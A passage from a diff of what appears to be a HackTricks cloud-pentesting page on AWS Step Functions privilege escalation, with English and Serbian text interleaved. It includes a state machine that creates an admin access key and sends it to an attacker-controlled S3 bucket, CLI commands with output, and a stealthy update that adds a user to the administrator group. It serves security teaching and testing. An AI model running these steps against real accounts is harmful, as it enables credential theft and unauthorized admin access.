"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
|
||||
"Parameters": {
|
||||
"UserName": "admin"
|
||||
},
|
||||
"ResultPath": "$.AccessKeyResult",
|
||||
"Next": "PrepareS3PutObject"
|
||||
},
|
||||
"PrepareS3PutObject": {
|
||||
"Type": "Pass",
|
||||
"Parameters": {
|
||||
"Body.$": "$.AccessKeyResult.AccessKey",
|
||||
"Bucket": "attacker-controlled-S3-bucket",
|
||||
"Key": "AccessKey.json"
|
||||
},
|
||||
"ResultPath": "$.S3PutObjectParams",
|
||||
"Next": "PutObject"
|
||||
},
|
||||
"PutObject": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
|
||||
"Parameters": {
|
||||
"Body.$": "$.S3PutObjectParams.Body",
|
||||
"Bucket.$": "$.S3PutObjectParams.Bucket",
|
||||
"Key.$": "$.S3PutObjectParams.Key"
|
||||
},
|
||||
"End": true
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
- **Command** executed to **create the state machine**:
|
||||
|
||||
- **Komanda** izvršena za **kreiranje mašine stanja**:
|
||||
```bash
|
||||
aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
|
||||
{
|
||||
"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
|
||||
"creationDate": "2024-07-09T20:29:35.381000+02:00"
|
||||
"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
|
||||
"creationDate": "2024-07-09T20:29:35.381000+02:00"
|
||||
}
|
||||
```
|
||||
|
||||
- **Command** executed to **start an execution** of the previously created state machine:
|
||||
|
||||
- **Komanda** izvršena za **pokretanje izvršenja** prethodno kreirane mašine stanja:
|
||||
```json
|
||||
aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
|
||||
{
|
||||
"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
|
||||
"startDate": "2024-07-09T20:33:35.466000+02:00"
|
||||
"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
|
||||
"startDate": "2024-07-09T20:33:35.466000+02:00"
|
||||
}
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> The attacker-controlled S3 bucket should have permissions to accept an s3:PutObject action from the victim account.
|
||||
> Napadačem kontrolisani S3 bucket treba da ima dozvole da prihvati s3:PutObject akciju iz naloga žrtve.
|
||||
|
||||
**Potential Impact**: Unauthorized execution and manipulation of workflows and access to sensitive resources, potentially leading to significant security breaches.
|
||||
**Potencijalni uticaj**: Neovlašćeno izvršavanje i manipulacija radnim tokovima i pristup osetljivim resursima, što može dovesti do značajnih bezbednosnih propusta.
|
||||
|
||||
### `states:UpdateStateMachine` & (not always required) `iam:PassRole`
|
||||
### `states:UpdateStateMachine` & (ne uvek potrebno) `iam:PassRole`
|
||||
|
||||
An attacker with the **`states:UpdateStateMachine`** permission would be able to modify the definition of an state machine, being able to add extra stealthy states that could end in a privilege escalation. This way, when a legitimate user starts an execution of the state machine, this new malicious stealth state will be executed and the privilege escalation will be successful.
|
||||
Napadač sa **`states:UpdateStateMachine`** dozvolom mogao bi da izmeni definiciju mašine stanja, dodajući dodatne stealth stanja koja bi mogla dovesti do eskalacije privilegija. Na ovaj način, kada legitimni korisnik pokrene izvršenje mašine stanja, ovo novo zloćudno stealth stanje će biti izvršeno i eskalacija privilegija će biti uspešna.
|
||||
|
||||
Depending on how permissive is the IAM Role associated to the state machine is, an attacker would face 2 situations:
|
||||
|
||||
1. **Permissive IAM Role**: If the IAM Role associated to the state machine is already permissive (it has for example the **`arn:aws:iam::aws:policy/AdministratorAccess`** policy attached), then the **`iam:PassRole`** permission would not be required in order to escalate privileges since it would not be necessary to also update the IAM Role, with the state machine definition is enough.
|
||||
2. **Not permissive IAM Role**: In contrast with the previous case, here an attacker would also require the **`iam:PassRole`** permission since it would be necessary to associate a permissive IAM Role to the state machine in addition to modify the state machine definition.
|
||||
U zavisnosti od toga koliko je permisivna IAM uloga povezana sa mašinom stanja, napadač bi se suočio sa 2 situacije:
|
||||
|
||||
1. **Permisivna IAM uloga**: Ako je IAM uloga povezana sa mašinom stanja već permisivna (na primer, ima priloženu **`arn:aws:iam::aws:policy/AdministratorAccess`** politiku), tada **`iam:PassRole`** dozvola ne bi bila potrebna za eskalaciju privilegija, pošto ne bi bilo potrebno takođe ažurirati IAM ulogu, sa definicijom mašine stanja je dovoljno.
|
||||
2. **Nepremisivna IAM uloga**: U suprotnosti sa prethodnim slučajem, ovde bi napadač takođe zahtevao **`iam:PassRole`** dozvolu pošto bi bilo neophodno povezati permisivnu IAM ulogu sa mašinom stanja pored izmene definicije mašine stanja.
|
||||
```bash
|
||||
aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
|
||||
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
|
||||
```
|
||||
|
||||
The following examples show how to update a legit state machine that just invokes a HelloWorld Lambda function, in order to add an extra state that adds the user **`unprivilegedUser`** to the **`administrator`** IAM Group. This way, when a legitimate user starts an execution of the updated state machine, this new malicious stealth state will be executed and the privilege escalation will be successful.
|
||||
Следећи примери показују како да се ажурира легитимна машина стања која само позива HelloWorld Lambda функцију, како би се додала додатна стања која додаје корисника **`unprivilegedUser`** у **`administrator`** IAM групу. На овај начин, када легитимни корисник покрене извршење ажуриране машине стања, ово ново малигно стање ће бити извршено и ескалација привилегија ће бити успешна.
|
||||
|
||||
> [!WARNING]
|
||||
> If the state machine does not have a permissive IAM Role associated, it would also be required the **`iam:PassRole`** permission to update the IAM Role in order to associate a permissive IAM Role (for example one with the **`arn:aws:iam::aws:policy/AdministratorAccess`** policy attached).
|
||||
> Ако машина стања нема повољну IAM улогу повезану, такође ће бити потребна дозвола **`iam:PassRole`** да би се ажурирала IAM улога у циљу повезивања повољне IAM улоге (на пример, једне са **`arn:aws:iam::aws:policy/AdministratorAccess`** политиком прикљученом).
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Legit State Machine" }}
|
||||
|
||||
```json
|
||||
{
|
||||
"Comment": "Hello world from Lambda state machine",
|
||||
"StartAt": "Start PassState",
|
||||
"States": {
|
||||
"Start PassState": {
|
||||
"Type": "Pass",
|
||||
"Next": "LambdaInvoke"
|
||||
},
|
||||
"LambdaInvoke": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:states:::lambda:invoke",
|
||||
"Parameters": {
|
||||
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
|
||||
},
|
||||
"Next": "End PassState"
|
||||
},
|
||||
"End PassState": {
|
||||
"Type": "Pass",
|
||||
"End": true
|
||||
}
|
||||
}
|
||||
"Comment": "Hello world from Lambda state machine",
|
||||
"StartAt": "Start PassState",
|
||||
"States": {
|
||||
"Start PassState": {
|
||||
"Type": "Pass",
|
||||
"Next": "LambdaInvoke"
|
||||
},
|
||||
"LambdaInvoke": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:states:::lambda:invoke",
|
||||
"Parameters": {
|
||||
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
|
||||
},
|
||||
"Next": "End PassState"
|
||||
},
|
||||
"End PassState": {
|
||||
"Type": "Pass",
|
||||
"End": true
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Malicious Updated State Machine" }}
|
||||
|
||||
{{#tab name="Zlonamerna ažurirana mašina stanja" }}
|
||||
```json
|
||||
{
|
||||
"Comment": "Hello world from Lambda state machine",
|
||||
"StartAt": "Start PassState",
|
||||
"States": {
|
||||
"Start PassState": {
|
||||
"Type": "Pass",
|
||||
"Next": "LambdaInvoke"
|
||||
},
|
||||
"LambdaInvoke": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:states:::lambda:invoke",
|
||||
"Parameters": {
|
||||
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
|
||||
},
|
||||
"Next": "AddUserToGroup"
|
||||
},
|
||||
"AddUserToGroup": {
|
||||
"Type": "Task",
|
||||
"Parameters": {
|
||||
"GroupName": "administrator",
|
||||
"UserName": "unprivilegedUser"
|
||||
},
|
||||
"Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup",
|
||||
"Next": "End PassState"
|
||||
},
|
||||
"End PassState": {
|
||||
"Type": "Pass",
|
||||
"End": true
|
||||
}
|
||||
}
|
||||
"Comment": "Hello world from Lambda state machine",
|
||||
"StartAt": "Start PassState",
|
||||
"States": {
|
||||
"Start PassState": {
|
||||
"Type": "Pass",
|
||||
"Next": "LambdaInvoke"
|
||||
},
|
||||
"LambdaInvoke": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:states:::lambda:invoke",
|
||||
"Parameters": {
|
||||
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
|
||||
},
|
||||
"Next": "AddUserToGroup"
|
||||
},
|
||||
"AddUserToGroup": {
|
||||
"Type": "Task",
|
||||
"Parameters": {
|
||||
"GroupName": "administrator",
|
||||
"UserName": "unprivilegedUser"
|
||||
},
|
||||
"Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup",
|
||||
"Next": "End PassState"
|
||||
},
|
||||
"End PassState": {
|
||||
"Type": "Pass",
|
||||
"End": true
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
- **Command** executed to **update** **the legit state machine**:
|
||||
|
||||
- **Komanda** izvršena za **ažuriranje** **legitimne mašine stanja**:
|
||||
```bash
|
||||
aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
|
||||
{
|
||||
"updateDate": "2024-07-10T20:07:10.294000+02:00",
|
||||
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
|
||||
"updateDate": "2024-07-10T20:07:10.294000+02:00",
|
||||
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
|
||||
}
|
||||
```
|
||||
|
||||
**Potential Impact**: Unauthorized execution and manipulation of workflows and access to sensitive resources, potentially leading to significant security breaches.
|
||||
**Potencijalni uticaj**: Neovlašćena izvršenja i manipulacija radnim tokovima i pristup osetljivim resursima, što može dovesti do značajnih bezbednosnih propusta.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user